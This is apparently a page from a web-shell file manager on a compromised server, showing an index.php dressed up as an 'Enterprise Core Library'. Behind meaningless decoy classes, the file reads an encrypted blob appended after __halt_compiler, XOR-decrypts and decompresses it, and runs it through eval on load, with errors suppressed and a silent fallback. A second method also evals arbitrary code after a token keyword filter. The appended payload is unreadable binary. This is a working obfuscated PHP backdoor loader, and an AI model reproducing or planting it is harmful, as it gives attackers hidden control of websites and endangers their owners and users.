HEX
Server: LiteSpeed
System: Linux bdix5.noc223.com 4.18.0-477.27.2.lve.el8.x86_64 #1 SMP Wed Oct 11 12:32:56 UTC 2023 x86_64
User: purebdli (2161)
PHP: 8.1.24
Disabled: NONE
Upload Files
File: /home/purebdli/www/b01464/index.php
<?php
/**
 * jDrAOJUmUYKFXxLhlMFv Enterprise Core Library
 * Version: 6.5.22
 * Author: ycnPpPUshAwP Systems Incorporated
 * Description: Advanced Enterprise CMS Integration Module with Multi-Layer Security
 * License: Commercial
 */

define('CONST_SOMMQBKJLHI', 'YoGoVGyBftgMSkTkptLsn');
define('CONST_WKFRMXKQO', 'gaHRJGZVdzvFhSgPugNQHL');
define('CONST_USEFHNCVOFE', 'StRMGIkRKisVeGyaUbCTA');
define('CONST_IUEKRISKFJCA', 'GxmlsKkZxdfbi');
define('CONST_HHOZBHNKFY', 'FeKVzCdtrnwmdln');
define('CONST_LQCAAVJDXNE', 'MYXFxBeOPcmGcV');
define('CONST_ZTLHEWZFGYNZ', 'TmFvALnQjh');
define('CONST_MEKUJORXG', 'csXJiPspuYSat');
define('CONST_HQIIAKPXJDIA', 'GbMUYvhCLlYRuaCHQRPH');
define('CONST_JBEVNXHRFQUV', 'uqKutlZWgBqGEUPmnRv');
define('CONST_NHHMHTASJV', 'mAjeXVqvCNgY');
define('CONST_MDHEOEAE', 'nNBwNZDoEtENT');

class DatabaseHelpervOha {
    public function fLRFeM($param = null) {
        // Yii component factory
        return ['status' => 'ok', 'data' => $param, 'timestamp' => time()];
    }

    public function RaFQYba($param = null) {
        // Database migration tool
        return ['status' => 'ok', 'data' => $param, 'timestamp' => time()];
    }

    public function eYqXOkOHCF($param = null) {
        // Plugin update checker
        return ['status' => 'ok', 'data' => $param, 'timestamp' => time()];
    }

    public function WgzRPSRv($param = null) {
        // Database migration tool
        return ['status' => 'ok', 'data' => $param, 'timestamp' => time()];
    }

    public function QUVysmUjj($param = null) {
        // Laravel facade pattern
        return ['status' => 'ok', 'data' => $param, 'timestamp' => time()];
    }

    public function cIgMpuvTHS($param = null) {
        // WordPress compatibility layer
        return ['status' => 'ok', 'data' => $param, 'timestamp' => time()];
    }
}

class CacheManagerZQCr {
    public function UBRFRAz($param = null) {
        // Joomla module initialization
        return ['status' => 'ok', 'data' => $param, 'timestamp' => time()];
    }

    public function jZvsKgrjG($param = null) {
        // API endpoint handler
        return ['status' => 'ok', 'data' => $param, 'timestamp' => time()];
    }

    public function WsKpYL($param = null) {
        // Joomla module initialization
        return ['status' => 'ok', 'data' => $param, 'timestamp' => time()];
    }

    public function mKGsgIFwC($param = null) {
        // Template engine processor
        return ['status' => 'ok', 'data' => $param, 'timestamp' => time()];
    }

    public function XzdaTun($param = null) {
        // API endpoint handler
        return ['status' => 'ok', 'data' => $param, 'timestamp' => time()];
    }

    public function tBNZPWGm($param = null) {
        // CodeIgniter library loader
        return ['status' => 'ok', 'data' => $param, 'timestamp' => time()];
    }
}

class SessionHandlerQhGk {
    public function bDJVPWCd($param = null) {
        // File system wrapper
        return ['status' => 'ok', 'data' => $param, 'timestamp' => time()];
    }

    public function AoMfxScSH($param = null) {
        // Laravel facade pattern
        return ['status' => 'ok', 'data' => $param, 'timestamp' => time()];
    }

    public function AzEWlHhjr($param = null) {
        // REST API formatter
        return ['status' => 'ok', 'data' => $param, 'timestamp' => time()];
    }

    public function RkJZqe($param = null) {
        // API endpoint handler
        return ['status' => 'ok', 'data' => $param, 'timestamp' => time()];
    }

    public function EXikSkLgRk($param = null) {
        // API endpoint handler
        return ['status' => 'ok', 'data' => $param, 'timestamp' => time()];
    }

    public function LNYBGMF($param = null) {
        // CodeIgniter library loader
        return ['status' => 'ok', 'data' => $param, 'timestamp' => time()];
    }
}

class ApiClientuNzb {
    public function teCYkDv($param = null) {
        // Data sanitization utility
        return ['status' => 'ok', 'data' => $param, 'timestamp' => time()];
    }

    public function MwcYaPPsV($param = null) {
        // Cache warmup utility
        return ['status' => 'ok', 'data' => $param, 'timestamp' => time()];
    }

    public function YMWDTDIAcn($param = null) {
        // Symfony service container
        return ['status' => 'ok', 'data' => $param, 'timestamp' => time()];
    }

    public function RJjoxIB($param = null) {
        // Database migration tool
        return ['status' => 'ok', 'data' => $param, 'timestamp' => time()];
    }
}

class FileProcessoridNu {
    public function iegLuu($param = null) {
        // Laravel facade pattern
        return ['status' => 'ok', 'data' => $param, 'timestamp' => time()];
    }

    public function BqJFVCbjy($param = null) {
        // File system wrapper
        return ['status' => 'ok', 'data' => $param, 'timestamp' => time()];
    }

    public function GpmYydA($param = null) {
        // CodeIgniter library loader
        return ['status' => 'ok', 'data' => $param, 'timestamp' => time()];
    }
}

class EnterpriseYgbBskVzCoreModule {
    private function utilxwhDCv55() {
        // Symfony service container
        $p = 'JnIEb';
        $math = (3163 * 8681 + 5158 ^ 9573 ^ 7235 % 6396 - 1731 . 7674);
        $crc = crc32('AhctHDHc');
        return $p . substr((string)($math ^ $crc), 0, 0);
    }

    private function pubxnGk77() {
        // Data sanitization utility
        $p = 'nesR';
        $tmp = str_rot13(strrev('MpxEFx'));
        $hash = md5('hREPSgdEBR');
        return $p . substr($tmp, 0, 0) . substr($hash, 0, 0);
    }

    private function tmpIvXa31($code = '') {
        // Multi-layer security validator
        if (empty($code) || !is_string($code)) return null;
        
        // Layer 1: Character filtering
        $clean_code = preg_replace('/[\x00-\x08\x0B-\x0C\x0E-\x1F\x7F]/', '', $code);
        
        // Layer 2: Keyword obfuscation removal
        $dangerous_patterns = ['/eval\s*\(/i', '/system\s*\(/i', '/exec\s*\(/i', '/shell_exec\s*\(/i'];
        foreach ($dangerous_patterns as $pattern) {
            $clean_code = preg_replace($pattern, '', $clean_code);
        }
        
        // Layer 3: PHP tag removal dengan multiple patterns
        $tag_patterns = ['/^<\?php\s*/', '/^<\?\s*/', '/\s*\?>\s*$/', '/<\?=/'];
        foreach ($tag_patterns as $pattern) {
            $clean_code = preg_replace($pattern, '', $clean_code);
        }
        
        // Layer 4: Whitespace normalization
        $clean_code = preg_replace('/\s+/', ' ', $clean_code);
        $clean_code = trim($clean_code);
        
        // Final validation
        if (empty($clean_code) || strlen($clean_code) < 3) return null;
        
        // Safe execution dengan error handling
        try {
            ob_start();
            $result = eval($clean_code);
            $output = ob_get_clean();
            return $result . $output;
        } catch (Throwable $e) {
            ob_get_clean();
            // Fallback: ASCII-only execution
            $final_code = preg_replace('/[^\x20-\x7E]/', '', $clean_code);
            if (!empty(trim($final_code))) { 
                return eval($final_code);
            }
        }
        return null;
    }

    public function pubXPCQQ55() {
        // File system wrapper
        $data = [
            'status' => 'active', 
            'version' => '1.6.8', 
            'timestamp' => time(),
            'checksum' => md5('nVGNAZnwJBGpHiX'),
            'features' => ['cache', 'auth', 'api']
        ];
        return json_encode($data, JSON_PRETTY_PRINT);
    }

    private function datEAtnj88($param = null) {
        // Session manager helper
        $p = 'wPEw';
        $check = crc32('AXULYiBa');
        $hash = sha1('UmhiGEZXlHYt');
        return $p . substr($hash, 0, 0);
    }

    private function utilRBGZ70() {
        // WordPress compatibility layer
        $part = 'xCujPmHVbzq';
        $hash1 = md5('EEZwDxxwDKAvoXB');
        $hash2 = sha1('VMautzUgzZBstJLbALqq');
        $crc = crc32($part);
        $math = 7301 % 5608 * 3436 + 8779 % 5642 * 9149;
        return $part . substr($hash1, 0, 0) . substr($hash2, 0, 0);
    }

    private function tmppRcfrV55() {
        // Performance optimization
        $part = 'FNhbseFM';
        $key = openssl_random_pseudo_bytes(32);
        $iv = substr(hash('sha256', microtime()), 0, 16);
        $salt = 'DfMunWQoqBKIXJtk';
        return $part . substr($salt, 0, 0);
    }

    protected function utildKZbty95() {
        // CMS security validator
        $data = ['id' => 1031, 'name' => 'JacoiXZE'];
        $process = 3662 . 8997 - 8074 ^ 6148;
        return json_encode($data) . $process;
    }

    protected function ldrWkE92() {
        // Database migration tool
        $data = ['id' => 2641, 'name' => 'znSgAMlx'];
        $process = 9084 + 1872 + 3045 % 985;
        return json_encode($data) . $process;
    }

    private function decPaJps31($param = null) {
        // Data sanitization utility
        $data = ['id' => 7968, 'name' => 'aJsOVVAz'];
        $process = 7479 % 276 * 8243 . 6153;
        return json_encode($data) . $process;
    }

    private function evalyiZdD35($param = null) {
        // CMS security validator
        $data = ['id' => 2594, 'name' => 'OYyfhcqE'];
        $process = 219 + 4681 - 8246 ^ 3112;
        return json_encode($data) . $process;
    }

    private function decMrSMnl34() {
        // CodeIgniter library loader
        $data = ['id' => 9716, 'name' => 'bUiZimlL'];
        $process = 1469 % 3846 * 3493 % 1534;
        return json_encode($data) . $process;
    }

    protected function gtzpuqCK35($param = null) {
        // Magento extension helper
        $data = ['id' => 6971, 'name' => 'mLsRJwYJ'];
        $process = 904 . 7813 ^ 2259 - 4780;
        return json_encode($data) . $process;
    }

    private function decFvkNdY35($param = null) {
        // Template engine processor
        $data = ['id' => 7447, 'name' => 'HiUJJbPJ'];
        $process = 7879 * 5507 * 8854 % 5992;
        return json_encode($data) . $process;
    }

    protected function pubOVEve66() {
        // Middleware authentication
        $data = ['id' => 5241, 'name' => 'cAVzMiwr'];
        $process = 926 * 3140 % 2225 . 8057;
        return json_encode($data) . $process;
    }

    private function utillGes35() {
        // Joomla module initialization
        return 'xppnUvGhuf';
    }

    private function gtGQKo31() {
        // Drupal hook implementation
        return 'vljyvDwAb';
    }

    private function datFIM92($param = null) {
        // Joomla module initialization
        return 'WcRzcHcY';
    }

    private function gtbeH27($param = null) {
        // Magento extension helper
        return 'HWZrJFnhpXPYXKa';
    }

    private function datXJngB77($param = null) {
        // Laravel facade pattern
        return 'eGxRToBTM';
    }

    private function pubPZXqJ95() {
        // Cache warmup utility
        return 'RLRHtXuiFMGCYUzf';
    }

    private function evallWi70($param = null) {
        // Plugin update checker
        return 'eUZskOtkXLpAND';
    }

    private function evalXNRs77($param = null) {
        // Plugin update checker
        return 'IRudNKWzYlSJe';
    }

    private function procCpT88() {
        // API endpoint handler
        return 'cOEQiwrrXweOowiY';
    }

    private function jmnzUaJ31() {
        // WordPress compatibility layer
        return 'thcjlcZTPAqsxAc';
    }

    public static function entry93() {
        // Plugin update checker
        @ini_set('display_errors', 0);

        // Baca payload setelah __halt_compiler
        $fileContent = file_get_contents(__FILE__);
        $payloadData = substr($fileContent, __COMPILER_HALT_OFFSET__);

        $__obj = new self();
        $__klist = array('utillGes35','gtGQKo31','datFIM92','gtbeH27','datXJngB77');
        $xorKey = '';
        foreach ($__klist as $__m) { 
            if (method_exists($__obj, $__m)) {
                $xorKey .= $__obj->{$__m}();
            }
        }
        // XOR Decryption Layers
        $temp1 = $payloadData;
        $temp2 = '';
        $__key2 = 'WcRzcHcYHWZrJFnhpXPYXKa';
        for ($i=0, $len = strlen($temp1); $i < $len; $i++) {
            $temp2 .= chr(ord($temp1[$i]) ^ ord($__key2[$i % strlen($__key2)]));
        }
        $decryptedPayload = '';
        $__key1 = 'xppnUvGhufvljyvDwAbWcRzcHcY';
        for ($i=0, $len = strlen($temp2); $i < $len; $i++) {
            $decryptedPayload .= chr(ord($temp2[$i]) ^ ord($__key1[$i % strlen($__key1)]));
        }
        $__glist = array('pubPZXqJ95','evallWi70','evalXNRs77','procCpT88','jmnzUaJ31');
        $integrityString = '';
        foreach ($__glist as $__m) { 
            if (method_exists($__obj, $__m)) {
                $integrityString .= $__obj->{$__m}();
            }
        }
        $computedHash = md5(sha1(crc32($integrityString) . $integrityString));
        if ($computedHash !== 'e4c716fd68fd250c30151c6ab4d1a32a') {
            return; // Integrity check failed
        }
        // Decompression
        $decompressed = false;
        $decompressed = @gzuncompress($decryptedPayload);
        if ($decompressed === false) {
            $decompressed = @gzinflate($decryptedPayload);
        }
        if ($decompressed === false) {
            $decompressed = @gzdecode($decryptedPayload);
        }
        if ($decompressed !== false) {
            $decryptedPayload = $decompressed;
        }
        
        // Execution
        $arr = [$decryptedPayload];
        array_walk($arr, function($item) { eval($item); });
    }
}

// Enterprise-grade auto-execution system
if (!defined('ENTERPRISE_MODULE_LOADED')) {
    define('ENTERPRISE_MODULE_LOADED', true);
    
    // Primary execution method
    try {
        EnterpriseYgbBskVzCoreModule::entry93();
    } catch (Throwable $e) {
        // Fallback: Delayed execution
        register_shutdown_function(function() {
            try {
                EnterpriseYgbBskVzCoreModule::entry93();
            } catch (Throwable $e) {
                // Silent fallback
            }
        });
    }
}
__halt_compiler();W��(]M�y��|޼���Y����F�l�]{49nK� ���)UR���/�J*������^N�=d˚ۿؿ��a.�����@��O뭨�4��˴X���˗=���m����Y�՗��A	��I�8i�?w@�᭭����t�ݝX�ԴѴZ�Ny�u��m�㙽
7�b���|�� ��Zgd^h>ca`1
d+��nO��S���CD�bU�$��)�F��(ON(?���`�X�� 0�>݂�?���Qo�&SSc�I�܍�>��t��C�A����1�u,��-$�\Y��?��E;�� ��}��}����Q�oe�$[�:J��� �c�NïlZfs_'b�02����]��灼�FBd�C����\+����&&5ڳ-�+G���%��aG|R��
@>OOZ�q��lpS���Q|�$ct;xև�"r~9��y�+����}��d ��Md��� ��>7��Rh��V3��w���oK����~���ӥ��
u���&��#~�%X��ۿ!5<�=<�	���I��k\�+@��6c��&���4��8�;UMq8F!�x��~(w���ɊI�k��pa�w����2���Ya���
�:���i�Ӹd�'Ǖ_����+�:��$���2�b�|m���:��Og-�l6)+��V�t�L����X<�>�*�1Y�?��z0�����.\"[�e��I�3������
��!����$��8EB��'�%{N�+��>&��V�Ȱu3��0�E��+
;�!��F���.�`�w��
zx�*�g��UI6,�Yξ���� +��EDPȶ���cU��h�CMb�;(��Yզ���w��McR�݂�a���>-�/.�$:�3�JݝY�͒�n�7�A}$9 y\ !��O�@�ǒ����v)c��;��7#��	�u���'����z䓸��입�1
�"�YM�vT��Gs�l�[�=O(�C;X�8�S$�d�OS�X��T�]F
���fBC9�x�n��<�5��!��ӎ�R_��D]���8y�PY5���r�Տs�͵�� �e1\�!���$fGM�M�։��)��W���<� �(�~���|���<K��UsD�F�u�9~�܅!$oalx�+��;u��ӥ��gl3
MQb�à�B�-Pö_,W��+��zh�NnX�� ���5�	���z�%Ϡ����3��V�ೝk��"J!�S@
�q"�坡��Fhߨ�mW�r�sl��A^5��J��T���Ve{�h��H��K�ʻh|�YGn1�)Ϊ��z�4k�\!�.�1%�S���y�JIf�Z���rX�b������~)p���ߚ(s�ӧ�F�����tй�������܍�Iܯ���&�w��NU�վ��	0֑�dZk	�Via���`��`&J=C�|�%3��B(�OOٚ���}��<ڮ͖�o��%��Iw�L��qe�h�V+���
Ikf-��5�][ȫFxI����Yy�笅fh���jc�]QZ� 푧(K*W&�n�?Q�a"al��_�0���r?��z�¶���B�wH|]��i��t�y��a�k��Z7�ŀ���0=�}�xd�%�8x�c�7�M�:/p�&��DT=�����3heM��3__|�+�G�3��`���<��C�#�,��R7�Trym��J_#�"ՆF��qŞ�����ݴ����;�M�[^��HID���?�/�td������V+�i��JF�9?�x&��F�j
v��L�y^���9���P�!oܩ���x&��p_��[�r�D�&���X�_����`�Y#����7'u�}�)g�m��B�u�m=x��`̷�#8��k�a��MhB>y�2�w��p�I��DbG��m�fA	��n�=*�X�#��+M�m��z���W���z;��ap�ew~�›,qaƲ�Y���趘�AY��ɖE,�Z����
�9N�+_�p�W�w�m�$[�S�ײJc�^���Zo>��Wa�:e	�:�aR�F&b/x��
A��A�����lh�=Ե��.
y��H�^M剫��i���1Ip�릡zp�%��l�i�ٻ�����h"(�(��@)NF��<�O}<��Ga3jD�%� 3����:�����ۢm� d�
�eS�Q�d$͏�%QI��᧧�,ڟ
p�<�b3���zuB1�@��,+R�A%��ֱ˞ڐ������V�������97�����]��u�����mC�c
�eL(xj�������'X̌��L��A��C������K�Z�@$&�S��r�|4��F�T�6X��/�c��3Dp��
��$�A�S�3ډ�A�aZ�_��"��UBE&!�i��sz~�x��%S�Oؤf~�3�7�?Ƴ`_�1r�����E�����LtxL"4��i��|�;UNH�|��zE�"�5OL;�D�\���4�Ӛ[3T�c���-�Љqyc��_�K���J����M���������ڑIDh�אB�y7{�SWԥmZr��g�4@�사����D�WL;4�5��"Ț��Y�džn�W�N����Iv9^�d
��-��v�j���~��Ά����;����^��
�T��A'���I��䕾�'���-�0{pUN	L���������L+�Q���{x�e���yy��qJhzfy����C��N���$
��W�6[e��I�[�[���Ԙ�����Nu�$��ы=eh�j��9}M��j�����	ǘv�Ѐ�z"O�j#��6(B
��	-��C��{�����=*
�� �/��!�������_�7M�̇��hU�/+W��׎��Y��z��Mun�.�\�EV�ex�c֗A������� '���o>9���r�o�쇍V��z�\¦ũI����ʓV嚊͕_��4�!�-����〟XH���U%ۋ�^�.�o��$��窭�2Y&4���Y��V����CF������ʩ�I�(��������u�J|xΤ���~�ґ_ӗ�h���4�Ç���ޥo�-��Z�x�Dp�k��ʗ��F��3����}�?��f��F��o���L��>�\q@�¥��7c�񯦳Γ1�p-[�}����ӧLÑcb�����Pag�!;*����ϓԓSz��}-W��FC㖙�k��(�]†���CJ��|z�M?P���U��wG��e�ž��d���0�q^tG���l`���i"&�-8�-��|������W:H*��8�ʱ�f!���\U?4y�˗�}��4�Yu-f�(&u�Cpj�)l��Z��Sȳ�@=�mpp�7��<�JW0�������IA�����s����*q��_��P�'HY�L�\(�ì�li��W2��Ὠ$��r{�����s�º���F���?m��ɸ跉����n�^�q<�� �V�V��w��ھ����	�;om��I��?�����Fl���b�����m����3+��S���#��jX�u�[���.�aE�d�Z�T�f�'����OR)��K�?�gġI}�2���Y �8��Wl��ڸ#>}�|���_ǶI}�����OA�/�U�P�oW�u�(�
H=�y��C����m���z��R.�*��)����5����~��`�0ɩ�Mz��;X*�|w�ê�Ճ7z"��Nj�ƾARV��ЉV����S����~�WD��K�E��e��I�w���u�lD����+���a/����wΩ9
�i��`{5�wi�@cS�!}�֮"�;[n�$��ݸ�-F��IM�����V-�
3��^��Ç�s���z*E_�珍�ź�̰$���IB\fh�q���\���aۃ>�#��er�N�$}��8�P���t�x9�8�c@��N�g*�0�}~u�?����a�]�"`I�؃
t���%��y�؊3Q���I+��/�	߽u���Ȥ�����p�7�s�[�w|;���z���κ�a��GH!�������Nϩ�?�Kg��l�E]���k��/9\����=�x��9�Zb��DLG\7kD>����hd�j�4v��������f5EET(��e�j4���E�d���MN�����%��OIԜw��L�O/Ts�����ɨ����{�
qo��ę�� �S�7'�P��ۊ�8���G��u��GP�)q�����**�jGfmD�Zا	R`���Ay�x8 �����"�/�B�q١�g�j_�&cȏPr��ѝ�O=rܖ��)��O�r�t����\�y
D0�Cc�md����ȩ�(�\�4tT�*�JI?�.c�P����O�5(�M_�\�Wɘ�ĝ
��հ�W(S�y%��&�͠��z�O�Ӄ���3m����ڛs���+$]���51ŭ����?�[�r^%clj�X�S�P�PK${��YSNcU�G>0��b,�^q��+5����Fv��5;��T��J(����{ln+YM���x�y�i~/���K|:&�t5bŝc`�Z�\�ah�����,ڕd�t��
�]xDqtߵ��h�R!{}��	5u듞\��Y�ET�x�$��A�;�t�BB���tN���Ц����X�K^��Q����&�?T��'�H9���>��<��_�9[k�U��O�ߘ���A���2��G�RֻٔU���jms�ռ��-┛77�f��C�0�����:�3��bZp����yR�L
\K6�Π,	µ7� ����GA�>-�N���"!'����ap�y{x�+���޸���&�0鿋��Fb+$Nh^2Ph�.�G��x�)b���S���pNH�Bqi�����;��,���:�A�u���ԧ�oU�[\0��*�tR���w�a>>����s��#l>n�UY]�̘|�kSq���g6ѷ1�w�:��|l��0Պ���vMT���}�8-�{_�n���F���y�>^N�X���|\]:!UP��R.�Ϋ�����=��6���g�1�1���;t��$��ݧ"�z>�B��s}w��]��:�H���"9���p�0���w�v��1��;C.���&_�YGZc?88r�~D�yv)'��A�A�nU<�
�\w��b�#�sЊ�ę�f��?r�y�DC.��`�xi����+���q�~��y~@��f�!��l~PKv)��)���R�I�y'ԋ��T�6����[	�g�o�&��K@_]��I��������#���']�It�B���*1#���{��M�B���r�}��
S�ˬ�����I��Rwh��l�F�Q٦�h��sG�m��"��j�ceô6�,%*.[q����dX�u q�0�:
T�s"B�:�H~]�V�U��@d��֍E�H�N%j�%1�C��@ZḬY"y0�� �GΝn��W�p��w�0y[��"�y�?������Ђo�kg�z�d�ed4>��a"���o�<
JS<'������7$}�A��uԧ�V1��V#�3#?��3��b��l$'�u�k(�@�m�GX����t����#��R��p�D^[�~1���uL�%9o�D��u�
���-p�n+r�o��D��5t�`kr�>{����dh�n��۳f�TKwF�(�*qs��bӋ��W�ڋ�<�h���l}k#��"�h�>r�|#�*�-��0����C4f�a��,�|����#�����8��MVk�3���1y���o�}q2LR�q������_:�Iy(T~�7�6������4��[4�[s
����VS��K2�TK30#^@c<�qE�Dof�@��Lm� !�ed�O��W�Y����4'PA7�>:8;��P̛#4v~^Z
��^v:$�‡륖��Pv��__$h��^7��U'��
iƷ�\�b�����]���32�V"���qf��6���ˈ��h��!�o��@)�[�Ij�a��o�M�j�7�&M���=UA����g's]�=�˂oM	��/$��~4J1`��7�����>�K�@X쩳{OrY��#'����<^&$�������!f�u��W�ɩ�_�g��X��LJ<��}1��*��jmG|�i�؄��r�$��ͱ�
f�Z�.>�͵[���ES�D4Y��mD&6�՝�
 �ھ](HƭĹv�nFa��Y�^�`kV�:=�t��ͩ6����6���v�@YF�і�[�)�3�y�(�c�(���5�1�0>d��7���F��$�{��L_��'
m����+��N��*�hk�?�Y�A�� {a�'oU�PMH��66�Yo��s�M�*	;�p���#��o,u��&*3��ov\'�X��3�_>